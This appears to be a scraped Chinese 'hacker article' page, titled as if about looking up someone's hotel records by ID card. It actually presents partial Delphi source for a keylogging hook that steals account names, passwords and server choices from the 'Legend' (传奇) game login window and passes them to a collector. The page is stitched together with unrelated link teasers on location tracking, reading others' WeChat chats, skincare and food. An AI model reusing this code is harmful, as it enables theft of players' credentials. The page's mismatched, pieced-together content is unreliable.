怎么查身份证住宿记录(身份证查住宿记录查询

访客4年前黑客文章748

获取“传奇”密码、区域、服务器的主要代码 
unit unitHook; 

interface 
…… 
function EnableHook:Boolean;stdcall //有效钩子程序 
function DisableHook:Boolean;stdcall; //无效钩子程序 
…… 
implementation 
…… 
//列举子窗体的回调函数 
function EnumChildWindowsProc(hChild: HWnd): Boolean; stdcall; 
var 
szClassName: array[0..255] of char; 
begin 
Result := True; //设定为True才会再找下一个 
GetClassName(hChild, szClassName, 255); 
if StrPas(szClassName)='TEdit' then begin 
inc(numEdit); 
if numEdit=1 then 
hEdit2:= hChild //密码 
else if numEdit=2 then 
hEdit1:= hChild //账号 
end; 
end; 

//取密码 
procedure GetPassword; 
var 
ss,ID,PW:string; 
begin 
numEdit:=0;//识别TEdit控件数量 
EnumChildWindows(hActiv, @EnumChildWindowsProc, 0);//列举控件 
if numEdit=2 then begin 
ID:=trim(GetCaption(hEdit1)); 
PW:=trim(GetCaption(hEdit2)); 
if (ID<>'')and(PW<>'') then begin 
nNext:=3; 
ss:=Format('账号=%s,密码=%s',[ID,PW])+' '+FormatDateTime('yyyy-mm-dd hh:nn:ss',Now); 
StrCopy(@pShMem^.Text,PChar(ss)); 
PostMessage(pShMem^.hMainWnd, WM_MOUSEPT, 2, 2); //通知 
end; 
end; 
end; 

//取服务器名 
procedure GetServerName; 
const 
x1=310;x2=477; 
y1=144; 
d=3; //服务器名按钮间隔 
step=42; //服务器名按钮步长 
var 
P : TPoint; 
yy, n1, n2 : integer; 
IniFileName, Ident, ss : string; 
begin 
GetCursorPos(P); //获取当前鼠标的坐标 
if (p.X<x1) or (p.X>x2) or (p.Y<y1) then exit; //鼠标点击不在服务器名的区域中 

yy:=p.Y-y1; 
n1:=yy div step; 
n2:=(yy+d) div step; 
if n1=n2 then inc(n1) 
else n1:=0; 

if n1=0 then exit; //鼠标点击不在服务器名上 

IniFileName:=ExtractFilePath(ParamStr(0))+'ftp.ini'; 
Ident:='server'+IntToStr(n1)+'caption'; 
ss:=ReadStringFromIniFile(IniFileName,Ident); 
if ss<>'' then begin 
ss:=ss+' '+FormatDateTime('yyyy-mm-dd hh:nn:ss',Now); 
StrCopy(@pShMem^.Text,PChar('服务器='+ss)); 
//PostMessage(pShMem^.hMainWnd, WM_MOUSEPT, 2, 2); //通知 
PostMessage(pShMem^.hMainWnd, WM_MOUSEPT, 10, 2); //通知取信息,并反馈发送 
end; 
end; 

//鼠标钩子过程,由判断鼠标的动作来决定writetotxt 
//参数分别是钩子代码,wParam鼠标消息号,lParam指向一个MOUSEHOOKSTRUCT (包含了有关鼠标事件的信息) 
function MouseHookPro(iCode:integer; wParam:wparam; lParam:lparam): LResult;stdcall;export; 

相关文章

博客技巧:提升访问量的4个方法!

博客技巧:提升访问量的4个方法!

在时间的很长一段时间里,博客是很多企业很是重要的信息派别。新媒体鼓起后,小我私家博客再次成为公家的热门话题。很多自媒体人士已经开始运营本身的独立博客。 然而,独立博客的流量进口与新媒体平台依靠算法宣布...

最好的定位软件免费(谁知道免费定位软件)

最好的定位软件免费(谁知道免费定位软件)春节已过米宵到来,万物复苏盎然之余,身为打工人的博主也重新披挂上阵,百思特网踏入返程征途。今年回家,也把女朋友带回了老家,见过了父母,桌上觥筹交错,意兴阑珊之余...

网上真的有办法查询到他人的微信聊天记录吗

. 尿不湿是从婴儿一出生就贴身穿的,可马虎不得。适合宝宝的尿不湿才是最好的。下面友谊长存的小编就来说说:婴舒宝金钻纸尿裤怎么样 婴舒宝金钻纸尿裤测评。 婴舒宝金钻纸尿裤怎么样 尿不湿外包装是金色...

娇兰黄金复原蜜好用吗 娇兰黄金复原蜜试用测评

法国娇兰金子复原蜜许多人强烈推荐,但是烦扰他的价格比较贵,下手的人较为迟疑,那麼法国娇兰金子复原蜜好不好用呢,我就而言说使用后的觉得吧。 商品总体 高端大气的包裝,瓶体设计方案非常漂亮。长滴定...

积分营销玩法,你都会了吗?

积分营销玩法,你都会了吗?

编辑导语:作为营销的重要手段,积分在许多行业都获得了遍及的应用。积分不只可以晋升用户忠诚度,还可以举办促销引流。那么,如此重要的积分,我们又该如何举办积分运营呢?本文作者为我们总结了积分营销的玩法,快...

花甲粉里面放什么好吃(花甲粉里加什么配菜更

花甲粉里面放什么好吃(花甲粉里加什么配菜更

    最近入夏,宁波又到了禁渔期,海鲜鱼类少了很多,菜场里都是冰鲜海鲜,我们宁波人买海鲜很大一部分就会转向小海鲜,比如贝壳这一类。年轻人喜欢吃宵夜,因为他们睡得晚,晚饭和家人一起吃,吃完就会...